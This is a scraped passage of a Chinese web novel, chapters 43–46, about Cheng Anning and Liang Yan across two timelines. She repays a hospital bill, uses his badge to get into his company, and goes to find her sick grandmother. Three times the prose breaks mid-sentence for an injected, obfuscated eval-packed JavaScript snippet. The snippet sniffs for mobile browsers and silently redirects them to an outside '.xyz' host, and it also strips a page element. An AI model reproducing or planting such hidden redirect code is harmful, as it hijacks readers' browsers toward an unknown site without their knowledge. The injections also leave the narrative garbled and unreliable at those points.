虽然程安宁没说，但是能够感觉到她日常细节里对父母的那份浓厚思念。 随后，他就那块巴掌大，几乎一口就能消灭的蛋糕提出疑问：“这么小的蛋糕够吃吗？” 程安宁不以为意耸肩：“过过嘴瘾就行了，又不是当饭吃。而且也不便宜，这么小一个，平时要卖三十块呢，不过幸运的我赶上今天打折了！” 她随口分享着日常琐碎的小事，手里拿着叉子挖了一口奶油就往嘴里送。 带着柠檬香气的奶油入口即化，清新香甜，让本就愉悦的情绪变得浓郁。 电脑另一端的梁彦则陷入沉默，眉眼间闪过一抹复杂之色。 通过这段时间的相处，他对另一时空的程安宁的生活有了一些大概了解。 和他这个时空十八岁无忧无虑的程安宁不同，二十三岁的程安宁生活俭朴，似乎在日常消费上有些吃力，而且居住环境明显不在朗月居的豪华别墅区里。 无依无靠的程安宁过得一点也不好，就像以前漂泊无依的他。 与此同时，程安宁正惬意享受着香甜美味的蛋糕，电脑的另一端冷不防传来一道认真的男声：“安宁，下次有想买的东西可以刷我的卡。” 43.43 闻言，程安宁被刚吃进嘴里的蛋糕噎了一下，拍着胸口剧烈咳嗽。 抬眼触及屏幕里那抹真诚且关切的目光，再结合自己刚才说的话，她缓过来后，有点想笑。 看样子梁彦对她的话有所误解，以为她穷到连吃一块蛋糕都要等到打折才能吃上一口。 虽然她手头上是需要精打细算过日子啦，但是不至于沦落到要靠别人接济才能吃饱饭。 不过，梁彦主动且大方地提起可以刷他的卡，让她挺意外的，心里也因为这份善意而感到一丝小高兴。 整理好情绪，程安宁摆手婉拒：“谢谢你的好意，不过你可能误会了，我在经济上没到需要靠人接济的地步，只是平时喜欢蹲好价入手东西。” “明白。”梁彦会意颔首，顿了顿，解释道：“我没有其它意思，只是想告诉你，如果下次有想买的东西可以用我的卡付款，什么价位的都可以，不用有心理负担，就当做是我的谢礼，感谢你为我的事情奔波。” 程安宁失笑，“别搞得这么客气，我为你的事情奔波本身就在我们的合作范围内，不然计划没办法进行下去。而且我们已经是朋友了对吧？” 梁彦认真颔首：“是。” 程安宁满意点头：“那就对了，我没有花朋友钱的习惯。” 虽然人家大方，但是她有自己的原则。除非出现以下两种情况：一是不花朋友钱自己就会马上暴毙。当然，这种情况不可能发生。二是她的生活真的困难到需要跟朋友借钱的地步。不过她不可能让自己沦落到要靠借钱生活这种地步的。 明白无法改变她的想法，梁彦只好不再坚持，转而表态：“如果有其它事情需要我帮忙解决的，可以尽管开口。” 闻言，程安宁想了想，突然记起一件要事：“你这么说的话，确实有一件事情需要跟你说一声。” 梁彦正色道：“你说。” 程安宁轻咳两声，开门见山道：“是这样的，前些天医院不是突然联系我缴清你上半年医疗费的事情吗？我那天先帮你付了五千块钱，这笔账需要你补上。” 虽然主动提这个事情有点难为情，但是五千块够她四个月的房租钱了，再加上她最近还打算在网上买一些补品给外婆和奶奶分别寄上一份，需要用钱。反正梁彦有这个能力拿出这笔钱，她没必要装大方。 说着，为了证明自己没说谎，程安宁迅速起身：“你等一下，我有医院的收据，我去拿过来！” 没想到住院费的事情还有这样一个小内幕，梁彦愣了一瞬，旋即叫住她：“不用，我相信你。” 说是这么说，程安宁还是很快找来了医院的单据展示在电脑的摄像头前，语气打趣：“是不是觉得我可以去参加变脸大赛了？明明刚才说了我们是朋友，转头却跟你明算账。” 梁彦摇头，神色认真：“都说亲兄弟明算账，朋友之间更不能拖欠，你应该早点告诉我的。” 在他提出银行卡副卡这个办法之前，经济条件一般的程安宁已经在那种紧要关头下帮忙付了五千块，单是这一点就能看出人家是真心实意帮他的，他只担心自己没能及时回馈她的善意。 梁彦很快提出解决办法：“这笔钱还要麻烦你从我卡里自取，如果你需要现金的话，我也可以去准备一下，然后你再到我家拿。” 闻言，程安宁果断选择第一个方法：“我从你卡里取就行了，这样我们双方就不用折腾了。” 梁彦的副卡在她手上，现在她已经明确打过招呼了，身为正直老实人的她，会自觉取走自己那一份，绝不多拿。 不过她前天心里就有一个疑惑很想问出口了。 趁这个机会，程安宁好奇发问：“梁彦，你就这么放心把副卡交给我去处理各类事情，有没有想过万一我食言了，拿着你的卡跑路怎么办？” 梁彦淡淡挑眉，“我倒没有想过这个可能。不过，只要没有落入我父母的手里就行。” 反正他在程安宁那个时空已经是植物人了。对他来说，只要不是他父母在用这张卡里的钱，其余的变故他都可以接受。 见他如此心大，程安宁诧异一瞬，笑着冲他竖起大拇指表示佩服，随后不忘提醒道：“既然不想落到你父母手上，你在你那个时空最好提前做一些防范。我昨天不是跟你说了吗？你父母跑到医院打听你的情况，貌似还提到什么律师，我感觉他们已经在打你名下财产的主意了。” 梁彦会意点头：“我这边已经在做相应措施了，他们别想从我这里拿到一分一毫。” 昨晚听到程安宁提到这个情况，他今天就已经预约了律师明天见面，打算提前分配好自己名下的财产。 - 翌日下午，梁彦亲自把三道西装革履的身影送出办公室，并且陪同到电梯前目送他们离开。 回到办公室时，已经有另外两道身影坐在办公室的沙发上。 见他回来了，刘志辉嬉皮笑脸地招手：“彦哥，没想到你今天还有客人啊？” 贺明神色好奇：“刚才那位不是李铭李律师吗？” 刘志辉闻言惊异：“是有清城第一律师之称的那位李铭吗？” 贺明点头：“如果我没看错的话，是的。” 话落，两道目光齐刷刷落在那道挺拔的身影上。 梁彦缓步走向他们，点头解惑：“是李律师没错。” 得到确认，两人面露诧异，刘志辉率先开口：“你有官司要打？” 梁彦眸底闪过一抹思量，如实回道：“没有。现在不是流行提前立遗嘱么？我找他事务所帮忙立了一份。” 像他们这样的年轻人提前立遗嘱不算什么新鲜事了，刘志辉和贺明只是惊讶了一下，没有多问。 梁彦在旁边的单人沙发坐下，问：“你们找我有事？” 刘志辉搭上贺明的肩膀，“我和贺总都觉得我们三个很久没单独聚聚了，想叫上你今晚一块儿吃顿饭，我们梁总会赏这个脸吗？” 贺明笑着问：“这次是三人的兄弟局，我们梁总肯定不会推掉对吧？” 梁彦神色迟疑，想到昨晚程安宁跟他说过，她打算今天下班会到未来科技一趟，晚上会晚点上线，随后迎上两位好友期盼的目光，点头应下：“可以。” 贺明眸光一亮，随即看向旁边的刘志辉，脸上泛起得意的笑：“看吧，我就说梁彦会答应！” 说着，直接伸出手索要：“你输了，两千块拿来吧！” 刘志辉嘴角抽了抽，幽怨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971013|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的目光落在梁彦身上，问：“你怎么不按套路出牌？你最近不是忙着跟电脑谈恋爱吗？我已经做好你会拒绝的心理准备了，结果你还答应了是怎么回事儿？我本来还撂下说我最了解你了，结果你让我很没面子啊。” 闻言，梁彦神色无奈，这才明白两人这是拿他会不会答应今晚的饭局一事打赌。 贺明幸灾乐祸地大笑两声，出声起哄：“喂喂喂，我们刘总不会是要赖账吧？” “闭嘴吧你，我这就转你！”刘志辉没好气地瞪了他一眼，边掏出手机边吐槽：“你又不缺这两千块，催什么催？” 贺明同情地拍了拍他的肩膀，“缺是不缺的，但你不懂赢家获得战利品的那种成就感。” 说到这，他冲梁彦扬起下巴，愉悦地吹了声口哨：“彦哥，今晚饭钱到手了。” 梁彦掩住眸底的深沉，点头以示回应。 只要有两位好兄弟在，耳边是一刻都别想清静的，不过他已经习惯了朋友间这种吵闹的氛围。 只是，如果不是另一时空的程安宁告诉他，他不会想到未来的某一天，这样的铁三角关系会有崩塌的时候。 …… 另一边，程安宁下班直奔未来科技大厦。 这会儿是下班高峰期，大厅流动的人群比较多，程安宁戴着未来科技的工牌，趁乱靠近闸机。 工牌贴在感应区的位置，随即传出“滴”的一声。 面前的闸机顺利打开，屏幕上短暂浮现梁彦的名字，程安宁眸光一亮，快步穿过，朝电梯的方向走去。 原本应该再请假一天潜入未来科技的，毕竟白天的工作时间想要找人和打听消息的话，会方便一些，但是她昨天已经请过假了，再请一天假老板肯定会以为她不想干了，所以她今天只能先利用下班时间过来探探路，大致熟悉一下未来科技公司内部，心里是没指望今天能有什么收获了。 她打算每到她工作的月休息日就过来一趟，这样时间够充足了。 跟着一行人站在电梯前等候，程安宁的目光没闲着，默默留意着周围的一切。 这会儿是用电梯的高峰期，八部电梯的人群一波接着一波，有人赶着下班，有的手里提着外卖准备重新上楼加班，程安宁只能挤在人群中被推着走，即便这样也没能抢到上电梯的机会。 她转头考虑换旁边的电梯排队，余光瞥见有人拿着工牌刷开了远处角落的一部电梯，而那台电梯前没人排队，足以看出不是普通员工日常使用的电梯。 程安宁眸光微动，低头看了眼戴在脖子上的工牌，挪步朝那部电梯走去。 梁彦是谁？是未来科技的老总！他的工牌肯定也能够刷开那部电梯。 走到电梯前，程安宁看到上面挂着VIP电梯的牌子，而且对面的那一部电梯也是。 这两部VIP电梯应该是公司高层领导专属，以及平时用来接待客户的电梯。 程安宁用工牌尝试刷开其中一部电梯，电梯门果然如愿打开了。 她眸光一亮，随即走进电梯，迅速按下关门键。 电梯门缓缓关上之际，一只手冷不防出现，挡住了即将合上的门缝，一道抱歉的男声随之响起：“不好意思，我也要上去，等等我。” 44.44 程安宁眼皮一跳。 紧接着，一位身着西装、戴着黑色框架眼镜的青年男子踏进电梯，冲她抱歉笑笑。 程安宁保持镇定，回以一笑，心里暗自发虚。 如果这部电梯像她猜测的那样是高层领导专用的，那她这个生面孔岂不是会引起怀疑？ 电梯门重新关上，男子按了前往十二楼的楼层键。 程安宁见状，随手按了一个八楼。 两位陌生人同处一个电梯厢，一时间，氛围安静到了极致。 程安宁脑海里天人交战，余光悄然瞥向旁边的身影，眉目间闪过一丝犹豫。 她现在已经进到未来科技了，旁边正好就站着一位内部员工，想要打听一些消息的话，现在不就正好是一个机会吗？ 可是，万一正好碰上一位不愿意透露情况的，反过来怀疑起她的身份和用意，岂不是会喊来保安把她赶出去？ 心念电转间，程安宁感受到了一道不容忽视的探究视线落在自己身上。 因为视线过于强烈，想不注意都难，她索性转头迎上对方的视线。 四目相对，对方来不及掩饰自己的视线，面上泛起尴尬的神色，只好开口打破静谧的氛围：“我以前好像见过你，请问你怎么称呼？” 闻言，程安宁眸光微动，露出一抹神秘的笑容，顺着他的话回道：“你猜？” 语气平静幽默，像是在逗熟人玩。 这种情况，她当然不会说对方认错了。 正好用模棱两可的回答，给人营造一种她也是这个公司的员工的感觉，她可不想刚混进来就被赶出去！ 男子更加确定自己的猜测没错，摸着下巴继续盯着她看：“真的很眼熟啊！你是哪个部门的？” 说着，看到电梯即将抵达八楼，他又问：“你要去八楼，你是技术开发部的？” 电梯在八楼停稳，程安宁见门开了，随即迈出电梯，嘴边不忘应付：“你再猜猜。” 话落，生怕对方下秒意识到认错人了，她加快脚步离开原地。 就在她走出一段距离准备放慢脚步，身后冷不防传来一道熟悉的男声：“不对，开发部的人我都认识，你不是开发部的。” 程安宁倒吸一口凉气，倏地转头，看到刚才和她同在电梯里的男子。 此刻，对方紧跟在她身后，宛如阴魂不散的恶灵，一副记不起来她是谁就不会放过她的样子。 完了，越担心什么就越发生什么，她这是遇到较真的了。 这才第一次混进来，她不想那么快就引起注意啊啊。 程安宁沉住气，让自己急速冷静下来，见身边人来人往，她默默走到一旁没有人影的紧急逃生通道，降低自身的存在感。 正打算想个办法摆脱对方，她发现对方直勾勾地盯着她挂在胸前的工牌看，心里漏了一拍，连忙抬手遮住工牌上的个人信息。 只是对方已经看到上边的内容，这会儿惊愕地瞪大双眼，伸手直指着她，“我靠！你你你……” 程安宁眼皮一跳，做好了对方质问她工牌从哪来的心理准备，下秒就听男子惊呼道：“你是梁总的女朋友对不对？” 程安宁一怔，停下了推开逃生通道大门的手。 与此同时，男子拿出手机，指尖飞快地在屏幕上滑动，接着视线在她的脸上和手机上来回移动，嘴边念念有词：“没错，真的是你！我就说怎么这么眼熟！” 程安宁看在眼里，一脸匪夷所思，不由得开口问：“你是怎么知道的？” 男子面上无奈一笑，把手机递到她面前：“想不记住你的脸都难啊！我们梁总以前把你的照片设置成头像了，我们每天在工作群看到梁总顶着一个甜妹头像跟我们交代工作，都不知道有多割裂。” 程安宁的目光落在手机屏幕上，赫然看到自己的照片，小脸像一个即热的暖宝宝，无声发烫。 对方手机上的那张照片，是她顶着素颜笑得傻里傻气的样子，不难看出是从她上次录制的那段日常视频里截出来的。 刚刚对方说，梁彦用她这张照片当头像？？ 梁彦怎么没有跟她提过这件事？好歹跟她商量一下，她好拍一张像样的啊！ 见她看到照片了，男子收起手机，继续道：“我不敢保证所有人都认识你，但是以前由梁总带领的团队，应该没有人不认识你这张脸的。” 闻言，程安宁眸光一亮，忙问道：“这么说，你是未来科技的老员工了？” 没想到今天运气不错，误打误撞遇到的竟然是老员工！ 程安宁随即翻出自己手机上的备忘录，又问：“请问怎么称呼？” 男子如实回道：“许杰。” 顿了顿，不忘关心上一句：“对了，梁总恢复得还好吗？” “谢谢关心，他的情况跟以前一样。”程安宁随口应付，目光极快地在手机备忘录上的名单扫了一圈，神色微怔，疑惑嘀咕：“奇怪，没有这个名字。” 许杰面露疑惑，“你在看什么？” 程安宁眸光微动，索性把手机递上前：“这是我男朋友之前跟我说过的团队成员名字，我今天是代替我男朋友过来看看他这些老熟人的。” 许杰接过手机看了眼上面的名单，顿时恍然大悟：“哦，这是未来科技创业初期的团队成员吧？我是在未来科技搬到这座大厦后才入职的，算是进入团队的第二批成员吧。” 他边说边把手机递回去：“而且这上面好几位成员早就没在未来科技了，可能也就剩下两三个人还留在这里。” 闻言，程安宁敛起轻松的神色，“请问还有哪位成员留在未来科技？” 这些年公司内部人员存在变动肯定是有的，这点早在她的意料之内，好在没有全都走光。 许杰耐心解惑：“分别是乔伟利、万轩、贾栋，这三人还在公司里，现在他们分别负责带领一个部门，和我一样都是公司高层。” 说着，他给自己刷了一下存在感：“虽然我的职位没有他们高，但我们这些老人几乎都升职加薪了，如果当初团队里其他人没有离开未来科技的话，待遇肯定没得说。” 程安宁听得认真，手头上将备忘录上这三位成员的名字和其他人的划分开来。 旁边的许杰还在好心解答：“不过你来得不是时候，他们这会儿肯定都下班了。” 程安宁抬眼问：“你有他们的联系方式吗？” 许杰点头，“有是有，不过平时大家除了工作上的事情之外很少交流，我也不太好擅自把他们的联系方式透露给你。” 看出他的为难，程安宁只好作罢，转而询问：“我男朋友的助理或者秘书还在公司吗？” 许杰无奈摊手，“好像在梁总出事后不久就离职了。” 行吧，这条路也堵死了，看来得回去重新想办法了。程安宁沉住气，礼貌一笑：“好的，谢谢，不好意思耽误你时间了。” 许杰摆手，打趣道：“客气了，我以前喊梁总彦哥，我跟他是熟人，你又是梁总的女朋友，梁总以前天天顶着你的头像跟我们交代工作，你也算是我的老熟人了。” 程安宁被他的话逗笑了。 氛围和睦融洽，程安宁眸光微动，顺着他的话说：“既然你说我是老熟人，我可以拜托你一件小事吗？” 许杰爽快点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986294|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头，“你说，只要我能办到。” 迎上他的视线，程安宁神色真诚：“我今天到未来科技这边只是想看看我男朋友以前工作的地方，还请你帮忙保密，不要告诉其他人。毕竟只是一件小事，我不想引起注意，免得造成一些不必要的麻烦和误会就不好了。” 说到这，她不忘煽情一把：“如今梁彦还在医院里躺着，我只想低调地陪他度过余下的时光，相信他也是这么希望的。” 闻言，许杰神色动容，语气感慨：“梁总确实是一个喜欢低调的人！行，你放心吧，我不会说出去的。现在是下班时间，你可以到处看看，有什么不懂的可以问我，这是我的名片。” 说到最后，许杰主动递出一张名片。 程安宁眸光闪了闪，神色感激地接过名片：“谢谢你。” “对了，你是梁总的女朋友，肯定认识贺总吧？他这会儿好像还在公司里，你有需要帮忙的也可以找他。”许杰贴心提醒道。 程安宁呼吸一滞，面上自然笑笑：“没事，我就随便看看，不想兴师动众，所以不打扰他了。” 她是疯了才会联系贺明，先不说最近制造了一堆事情丢给她处理还玩失踪，之前她在医院里想跟贺明打听消息，贺明所表现出的反应很奇怪，说不定这次知道她跑到公司打听后会加以阻拦，所以得避开那个家伙才行，多个心眼总没错！ 随后，两人结束闲聊，许杰还有工作要忙先走了，程安宁想到贺明有可能还在公司里，生怕脸黑跟人家撞上，没敢过多逗留，随便逛了一圈就走人了。 晚上，程安宁在电脑前坐下，边等梁彦上线，边拆着旁边堆放的快递包裹消磨时间。 这些快递是她这段时间在线上参加抽奖得到的奖品，一般都是能够派得上用场的日用品。 拆开其中一个快递，是一套护肤品。 想到平时都是往脸上抹点乳液就搞定了护肤流程，程安宁决定精致一把，埋头打开那些瓶瓶罐罐。 电脑屏幕挂着她个人的视频界面，她懒得起身找镜子，索性把视频软件的界面当做镜子，迅速开启护肤模式。 梁彦打开电脑的时候，就看到程安宁对着电脑镜头整理刘海，露出光滑的额头，接着又把浓密的长发全都抓起来夹在脑后。 做完这些，她拿起其中一罐东西，认真看着瓶子上的使用说明，接着像是犯了难，又拿起另外一瓶东西看了看，随后拧开瓶子，把里面的液体倒在掌心拍到了脸上，像是失去痛觉似的，在脸上拍得啪啪作响。 清脆的声响从另一时空传到他耳边，梁彦还是第一次看女生护肤，顿感新奇，莫名觉得自己的脸隐隐作痛。 他停住原本想第一时间打开视频软件的手，觉得还是先不要打扰对方比较好。 不一会儿，程安宁看着被自己拍得泛红的脸蛋，小声嘀咕：“这样应该吸收了吧？” 她又拿起另外一个小罐子，往额头脸颊鼻子下巴分别抹上黄豆粒大小的乳液，再用指腹一一揉开，脸上是不自觉流露的各种小表情。 明明是一系列再日常不过的举动，梁彦却觉得像在看一部颇具吸引力的电影，视线定在那张精巧莹润的脸蛋上，眼里流露的笑意同步到了嘴角。 他默默看完整个护肤流程，直到程安宁在头上取下抓夹，这才打开自己对应的视频软件。 电脑屏幕上冷不防弹出一个窗口，挡住了自己的视频界面，程安宁神色一怔。 没等她反应过来，窗口里出现一张再熟悉不过的俊脸。 紧接着，清冽磁性的男声从电脑另一端传来：“抱歉，今晚朋友聚餐，志辉喝多了，我送他回去耽误了点时间。” 45.45 程安宁点点头，后一秒想到自己刚才对着电脑的摄像头不顾形象鬼迷日眼的，整个人都不好了。 她呼吸微滞，面上佯装出漫不经心的样子，语气试探：“你刚打开电脑吗？” 梁彦被问得一愣，眸底的心虚一闪而过，点头说了声“是”，眼神却从屏幕前移向了别处。 见状，程安宁顿时明了。 以往她和梁彦隔着屏幕说话的时候，梁彦的视线都会认真且礼貌地看着屏幕，像在面对面专心谈话一样，这会儿却在说话时反常地移开视线，分明心里有鬼！ 程安宁直白询问：“有没有人说过你这个人很不会撒谎？” 闻言，梁彦明白她已经看出自己没有说实话，视线重新回到电脑屏幕上，无奈勾唇：“嗯，这确实是我的缺点。” 喜恶分明，过于实诚的人，往往不擅长撒谎。 他曾因为不懂圆滑，还被不少人说过这种性子不利于跟人谈合作打交道，这也让他更加专心把精力放在擅长的事情上，把打交道的事情交给贺明和刘志辉。 顿了顿，梁彦自觉解释：“我刚才怕打扰到你，所以想等你忙完再上线。” 这是实话之一，他没有说谎。 另外一个实话是：觉得有趣，不自觉想看下去。不过这个话说出来怕是会被当成恶心的痴汉处理。 得到确认，程安宁深呼吸一口气，脸上飞快掠过一抹尴尬，面上故作镇静地“哦”了一声。 看来以后不能偷懒了，还是老老实实找个镜子护肤远离电脑摄像头吧！ 想着人家应该不会把这种事情放在心上，程安宁默默尴尬了一下，随后选择迅速带过这个小插曲，切换到谈正事模式：“我今天下班去了未来科技，我用你的工牌成功刷开了大厅的闸机，而且还误打误撞遇到了一位老员工……” 她很快把傍晚去了未来科技后发生的事情一五一十地说出来。 程安宁也说出了自己的打算：“我准备明天抽空联系那位许杰，打听一下乔伟利、万轩和贾栋这三人所在的部门，等下次去的时候就可以针对性地到那些部门找人了。不过我不知道他们像不像许杰那样好说话，有点担心他们过后会跟贺明说起这个事情。” 一提起贺明，程安宁就气得牙痒痒：“要是让那个家伙知道了，肯定又会想办法给我制造难题或者麻烦。” 她现在已经不觉得贺明是什么好人了。 听到最后，梁彦神情严肃，认真给出提议：“想要避免这种事情发生的话，可以试着只接触贾栋这个人。另外两人原本就是贺明的朋友，平时跟贺明走得比较近，会告诉贺明的可能性比较大。” 程安宁这下有了明确的目标，会意点头：“好！” 谈完正事，她想起另外一件事，疑惑发问：“对了，你拿我照片当头像的事情，怎么没有跟我说一声？我今天听到这件事情的时候吓了一跳。” 不得不说，全靠梁彦这一招，让她误打误撞认识了主动搭话的许杰，还顺利打听到了一些有用的讯息。 闻言，梁彦尴尬轻咳，解释道：“只是临时起意做的事情，而且不确定最终能不能帮上忙，也就没有告诉你。” 原本他只是想通过这个办法加深周围的人对程安宁长相的印象，没料到未来有人直接跟程安宁提起他拿她的照片当头像这件事。 “这样啊……”程安宁点点头，“今天正好证明了你这个办法挺有用的。” 目前来看，梁彦在过去的时空所做的那些配合，都在未来，也就是她这个时空产生了蝴蝶效应。 虽然那张笑得傻里傻气的照片连她本人看了都觉得难为情，但至少还是发挥作用影响了她所在的时空。 大概这就是大家常说的“不要在意过程，只要结果是好的就行”。 程安宁随之提起另一件要事：“对了，我们现在不是确认刘志辉有在履行承诺吗？我在想，要不我在你家门口装个监控摄像头连接我的手机，这样我就可以通过监控观察你朋友什么时候会去你家了，也方便我能够及时赶过去跟他碰面，你觉得怎么样？” “可以。”梁彦赞同她的提议，顿了顿，又道：“不过志辉出现的时间无法预估，可能会在晚上或者是工作日，再加上你平日里留意监控上的动静需要花费很多精力，相对来说会比较费劲。我们可以先不用在意这件事。” 太多事情同时进行，他担心程安宁太勉强自己了。 程安宁摇头，认真想了想：“没事，等我抽空查一下离你家近一点的房源，如果房租比我现在住的房子便宜的话，我会考虑换个住处。” 她只想赶紧把所有事情搞清楚了，不然心里总感觉有事情搁在那儿等着她处理，完全静不下心。 闻言，梁彦眸底闪过一抹思量，提议：“如果你不介意的话，可以搬到我家住。” 此话一落，程安宁先是一愣，而后不好意思地挠挠头：“这……不太好吧？” 梁彦不以为意：“反正房子没人住，你搬过去不仅有机会碰见志辉，还能省下房租的开销和帮我看家，这对我们来说是一个双赢的局面。” 听到最后，程安宁眸光闪了闪，有些心动：“听上去好像是不错。” 梁彦见状，立刻帮她敲定这个决策：“那就这样说定了。” - 已经要到九月了，清城的夏天还没有结束的迹象，正午的地面在烈日炙烤下犹如置身滚烫的火地狱，每个人都像浸泡在火舌跳动的岩浆池中受苦。 程安宁忙了一个上午，即便处于冷气充足的写字楼，喉咙还是像被火烧一样干得难受。 一到中午，她随即钻到茶水间接杯水喝，脑袋里已经开始计划接下来要做的事情。 待会她要找个时间给许杰发短信着重打听那位贾栋的消息。 至于搬家计划，这些天可以陆续打包她自己的东西了。虽然刚搬到新住处不久，还一口气交了半年房租，好在她昨晚特地打电话问了中介大哥，人家说可以帮她免费转租，她自己也在网上发布了转租消息，就等一位有缘人接手了。 喝完水，程安宁回到自己的工位，桌上已经放了一份公司订的快餐。 她拉开椅子坐下，拿起电脑旁的手机。 正打算边吃饭边给许杰发去短信，屏幕刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005437|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点亮，一个未接来电浮现在通知栏，时间显示两个小时前，上面的备注名是“奶奶”二字。 程安宁见状，随即回拨过去。 昨晚她睡前在网上下单了一些适合老年人的补品分明寄到奶奶和外婆家，难不成快递已经到了？ 手机另一端响了四声后才被接起。 “奶奶！”程安宁刚热切地喊了一声，手机另一端响起一道冷嘲热讽的女声：“原来还知道回打电话呢？我还以为你心里已经当自己没有奶奶了。” 即便这些年没有再听到这个声音，她还是立刻认出了声音的主人是她的姑姑程菲。 程安宁敛起轻松的神色，态度冷了下来：“你为什么拿着奶奶的手机？” 话落，手机另一端传来另一道带着浑浊烟嗓的男声：“连声姑姑都不喊了，我们安宁真有能耐啊。” 语气阴阳怪气的，是她的姑父焦新凯。 这两人曾经是亲戚里看似最疼爱她的长辈之一。 程安宁神色平静，反问：“你们是特地打过来跟我吵架的？把手机还给奶奶，不然我挂了。” 程菲冷笑，直言道：“你奶奶都病了两天了，你倒好，一个电话都不打，你要是还有点良心就回来看看！” 这番话落下，不等她开口，通话就此挂断。 程安宁脸色骤变，倏地收紧握着手机的力道。 她瞬间坐不住，赶忙起身往老板办公室的方向走去。 不到五分钟，她在老板难看的脸色中请了假，连饭都没心思吃就匆匆离开公司。 …… 太阳西沉，各路街灯准时亮起。 梁彦刚参加完合作方的新品发布会，从会场出来就转身进了旁边的大型连锁超市。 因下午贪图方便而蹭车的刘志辉这会儿只能跟在他身边，等着他逛完超市一同回去。 在跟着梁彦走到日常用品区时，刘志辉一脸疑惑：“你要买日用品？你平时不都是在线上同城下单，等快送员给你送到家里的吗？” 在他看来，梁彦平时就像一台工作机器，压根没有那种闲情逸致逛超市。 梁彦没有回答，在其中一排货架停下，拿起其中一样东西仔细端详，认真的程度不亚于平日里在工作上敲代码。 刘志辉嘴角抽了抽，伸手指着上面的商品标签牌：“哥，看清楚，这是女性室内拖鞋。” 梁彦轻嗯一声，放下手中的粉色拖鞋，又拿起另外一双柠檬黄的拖鞋看了看。 见状，刘志辉反应过来，倏地瞪大双眼，语气震惊：“我去！你这是在给你女朋友买室内拖鞋啊？” 梁彦不作答，把手中的拖鞋放进旁边的购物车。 似乎觉得一双不够，他又往里边添了一双同样颜色的，随后推着购物车往前走。 刘志辉眼里闪烁着八卦的光芒，跟上他的脚步。 这次两人在床上用品区域停下。 看着正在专心查看床上四件套材质的梁彦，刘志辉稍稍压住激动的心情，用手肘捅了捅他的胳膊，会心一笑：“可以啊你，没想到你和你女朋友已经走到准备同居的地步了！” 46.46 闻言，梁彦动作一顿，转头从口袋里掏出一串车钥匙递过去：“你先回去吧。” 这是嫌他吵了。 刘志辉把钥匙推了回去，嬉皮笑脸道：“嗨呀，你跟我说说呗，你和嫂子是不是打算同居了？你们已经见面了？” “你想多了。”梁彦言简意赅，堵住了他的八卦。 说完，梁彦转头跟旁边的售货员咨询相关事情。 不一会儿，售货员拿来一套全新的床上四件套，隔着外层的半透明包装，可以看到里面是米白色调的，上面印有彩色缤纷的波点，视觉上给人一种温馨舒适的感觉。 售货员微笑介绍：“这一套的销量不错，不仅是大品牌，质量有保证，还是A类面料，亲肤柔软，很受欢迎。” 梁彦点头，接过看了看，确认没问题后，放到了购物车里。 刘志辉见状，又忍不住开口：“既然不是我说的那样，你买这些东西做什么？总不可能是你自己要用吧？你一向喜欢纯色和偏灰黑色调的，这鞋子和床上四件套不是你的风格啊。” 梁彦推着购物车离开原地，依旧惜字如金：“留着备用。” 刘志辉愣了一下，而后眸光闪了闪，追上他的脚步，笑得促狭：“哦，我懂了！你是在提前为以后的同居做准备，实际上嫂子还没有这个想法对吧？没想到你还挺猴急啊！” 梁彦懒得理他，目光触及前方天花板挂着的香薰广告牌，再看了看那片区域聚集了不少女性顾客。 他神色若有所思，推着购物车往那个方向走去。 他不了解程安宁具体喜欢什么，但是按照一些大众喜好去准备的话，应该不会有错吧？ …… 暮色沉沉。 程安宁独自站在一栋居民楼的楼下，单薄的身影靠在瘦高的路灯旁，几乎融为一体。 周围不时有附近的居民经过，带着轻松欢快的交谈在饭后散步，小孩子嬉闹着从她面前跑过，顺带好奇地打量她。 程安宁拿出手机看了眼时间，已经是晚上八点了。 她下午坐了两小时的车赶到奶奶家，敲门却没有得到回应，只好拨打了奶奶的电话，接电话的依旧是她的姑姑。 她直戳了当地问了老人家在哪里，姑姑说奶奶接到她家照顾了，让她过去。于是她凭借记忆打车去了姑姑家，结果开门的是陌生人。原来这两年姑姑一家已经买了新房子搬过去了，旧房子则是卖出去了。 她又打电话询问新地址。这次姑姑让她回奶奶家门外等着，说是会送奶奶回去。 为了能第一时间见到奶奶，她索性在楼下等。 就这样，她从下午等到天黑。 像是要故意让她吃苦头，姑姑一家一直拖着没有把奶奶送回来，而她就算再心急也没辙，只能继续在这里等着。 她想过了，如果今晚一直没等到姑姑把奶奶送回来，她就报警处理。 “宁宁？是我的宁宁吗？” 在未知的等待中，一道慈祥温暖的声音从不远处传来。 程安宁闻声转头，看到路灯下一道拄着拐杖的熟悉身影正在两人的搀扶下往这边靠近，倏地站直身子：“奶奶！” 她快步迎上前，语气和神色同样难掩关切：“您身体还好吗？听说您这两天生病了，去看医生了吗？” 